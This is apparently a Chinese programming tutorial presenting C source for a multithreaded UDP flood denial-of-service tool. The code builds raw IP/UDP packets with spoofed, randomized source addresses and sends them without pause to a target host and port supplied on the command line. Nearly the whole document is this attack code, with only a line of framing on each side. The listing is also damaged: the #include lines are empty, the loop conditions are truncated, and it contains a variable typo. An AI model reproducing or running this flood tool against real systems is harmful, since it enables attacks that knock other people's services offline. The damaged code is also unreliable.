1.介绍
UDP攻击向目标主机的UDP端口发送大量的UDP报文,造成目标主机的端口堵塞,达到攻击的目的。建立多线程,利用原始套接字封装UDP与IP的首部,然后发送UDP报文,攻击目标主机.
2. 实现实例
1 #include
2 #include
3 #include
4 #include
5 #include
6 #include
7 #include
8 #include
9 #include
10 #include
11 #include
12 #include
13 #include
14 #include
15 #include
16 //#include
17
18 #define MAXCHILD 128 //最多线程数
19 static unsigned long dest=0; //目的IP地址
20 static int PROTO_UDP =-1; //UDP协议的值
21 static alive=-1; //程序活动标志
22 static int dest_port=0; //目的端口
23 static int rawsock=-1; //原始套接字
24
25 //函数声明
26 static inline long myrandom(int begin,int end); //自定义随机函数
27 static unsigned short Dos_cksum(unsigned short* data,int length);//CRC校验
28 static void Dos_udp(); //UDP核心处理函数
29 static void Dos_fun(unsigned long ip); //线程处理函数Dos_udp
30 static void Dos_sig(); //信号处理函数,捕捉ctrl+c
31 int main(int argc,char* argv[])
32 {
33 struct hostent* host=NULL;
34 struct protoent* protocol=NULL;
35 char protoname[]="udp";
36 int i=0;
37 pthread_t pthread[MAXCHILD];
38 int err=-1;
39 alive=1;
40
41 signal(SIGINT,Dos_sig); //截取信号ctrl+c
42 //参数设置是否正确
43 if(argc<3)
44 {
45 return -1;
46 }
47 //获取协议类型UDP
48 protocol=getprotobyname(protoname);
49 if(protocol==NULL)
50 {
51 perror("getprotobyname()");
52 return -1;
53 }
54 PROTO_UDP=protocol->p_proto;
55 //输入的目的地址为字符串IP地址
56 dest=inet_addr(argv[1]);
57 if(dest==INADDR_NONE)
58 {
59 //输入目的地址为DNS地址
60 host=gethostbyname(argv[1]);
61 if(host==NULL)
62 {
63 perror("gethostbyname()");
64 return -1;
65 }
66 //将地址复制到dest中
67 memcpy((char*)&dest,host->h_addr,host->h_length);
68 }
69 //目的端口
70 dest_port=atoi(argv[2]);
71 //建立原始socket
72 rawsock=socket(AF_INET,SOCK_RAW,PROTO_UDP);
73 //设置IP选项
74 setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
75 //建立多个线程协同工作
76 for(i=0;i
78 err=pthread_create(&pthread[i],NULL,Dos_fun,NULL);
79 }
80 //等待线程结束
81 for(i=0;i
83 pthread_join(pthread[i],NULL);
84 }
85 close(rawsock);
86 return 0;
87 }
88
89 //CRC16校验
90 static unsigned short Dos_cksum(unsigned short* data,int length)
91 {
92 register int left=length;
93 register unsigned short* word=data;
94 register int sum=0;
95 unsigned short ret=0;
96 //计算偶数字节
97 while(left>1)
98 {
99 sum+=*word++;
100 left-=2;
101 }
102 //如果为奇数,将剩余一个字节单独计算,剩余的一个字节为高字节,构建一个short类型变量
103 if(left==1)
104 {
105 *(unsigned char*)(&ret)=*(unsigned char*)word;
106 sum+=ret;
107 }
108 //折叠
109 sum=(sum>>16)+(sum&0xffff);
110 sum+=(sum>>16);
111 //取反
112 ret=~sum;
113 return ret;
114 }
115
116 //自定义随机数产生函数,系统随机函数为伪随机函数,其值与初始化有关,因此采用不同的值进行初始化
117 static inline long myrandom(int begin,int end)
118 {
119 int gap=end-begin+1;
120 int ret=0;
121 //用系统时间初始化
122 srand((unsigned)time(0));
123 //产生一个介于begin和end之间的值
124 ret=random()%gap+begin;
125 return ret;
126 }
127
128 //UDP发送核心处理函数Dos_udp
129 static void Dos_udp()
130 {
131 #define K 1024
132 #define DATUML (3*K) //UDP数据部分长度
133
134 //数据总长度
135 int tot_len=sizeof(struct ip)+sizeof(struct udphdr)+DATUML;
136 //发送目的地址
137 struct sockaddr_in to;
138
139 //Dos结构,分为IP头部、UDP头部、UDP数据部分
140 struct dosseg_t
141 {
142 struct ip iph;
143 struct udphdr udph;
144 unsigned char data[65535];
145 }dosseg;
146 //IP地址版本,IPv4
147 dosseg.iph.ip_v=4;
148 //IP头部长度,字节数
149 dosseg.iph.ip_hl=5;
150 //服务类型
151 dosseg.iph.ip_tos=0;
152 //IP报文的总长度
153 dosseg.iph.ip_len=htons(tot_len);
154 //标识,设置PID
155 dosseg.iph.ip_id=htons(getpid());
156 //段的偏移地址
157 dosseg.iph.ip_off=0;
158 //TTL
159 dosseg.iph.ip_ttl=myrandom(200,65535);
160 //协议类型
161 dosseg.iph.ip_p=PROTO_UDP;
162 //校验和,先填写为0
163 dosseg.iph.ip_sum=0;
164 //发送的源地址
165 dosseg.iph.ip_src.s_addr=(unsigned long)myrandom(0,65535);
166 //发送目的地址
167 dosseg.iph.ip_dst.s_addr=dest;
168 dosseg.iph.ip_sum=Dos_cksum((unsigned short*)&dosseg.iph,sizeof(dosseg.iph));
169 #ifdef __FAVOR_BSD
170 //UDP源端口
171 dosseg.udph.uh_sport=(unsigned long)myrandom(0,65535);
172 //UDP目的端口
173 dosseg.udph.uh_dport=dest_port;
174 //UDP数据长度
175 dosseg.udph.uh_ulen=htons(sizeof(dosseg.udph)+DATUML);
176 //校验和,先填写0
177 dosseg.udph.uh_sum=0;
178 dosseg.udph.uh_sum=Dos_cksum((unsigned short*)&desseg.udph,tot_len);
179 #else
180 //UDP源端口
181 dosseg.udph.source=(unsigned long)myrandom(0,65535);
182 //UDP目的端口
183 dosseg.udph.dest=dest_port;
184 //UDP数据长度
185 dosseg.udph.len=htons(sizeof(dosseg.udph)+DATUML);
186 //校验和,先填写0
187 dosseg.udph.check=0;
188 dosseg.udph.check=Dos_cksum((unsigned short*)&dosseg.udph,tot_len);
189 #endif
190 //填写发送目的地址部分
191 to.sin_family=AF_INET;
192 to.sin_addr.s_addr=dest;
193 to.sin_port=htons(0);
194 //发送数据
195 sendto(rawsock,&dosseg,tot_len,0,(struct sockaddr*)&to,sizeof(struct sockaddr));
196 }
197
198 //线程函数Dos_fun
199 static void Dos_fun(unsigned long ip)
200 {
201 while(alive)
202 {
203 Dos_udp();
204 }
205 }
206
207 //捕捉ctrl+c信号函数
208 static void Dos_sig()
209 {
210 alive=0;
211 printf("pthread exit!捕捉到ctrl+c信号,线程结束\n");
212 return;
213 }
总结:本文主要介绍了通过原始套接字发送大量的UDP报文,使端口阻塞,达到攻击的目的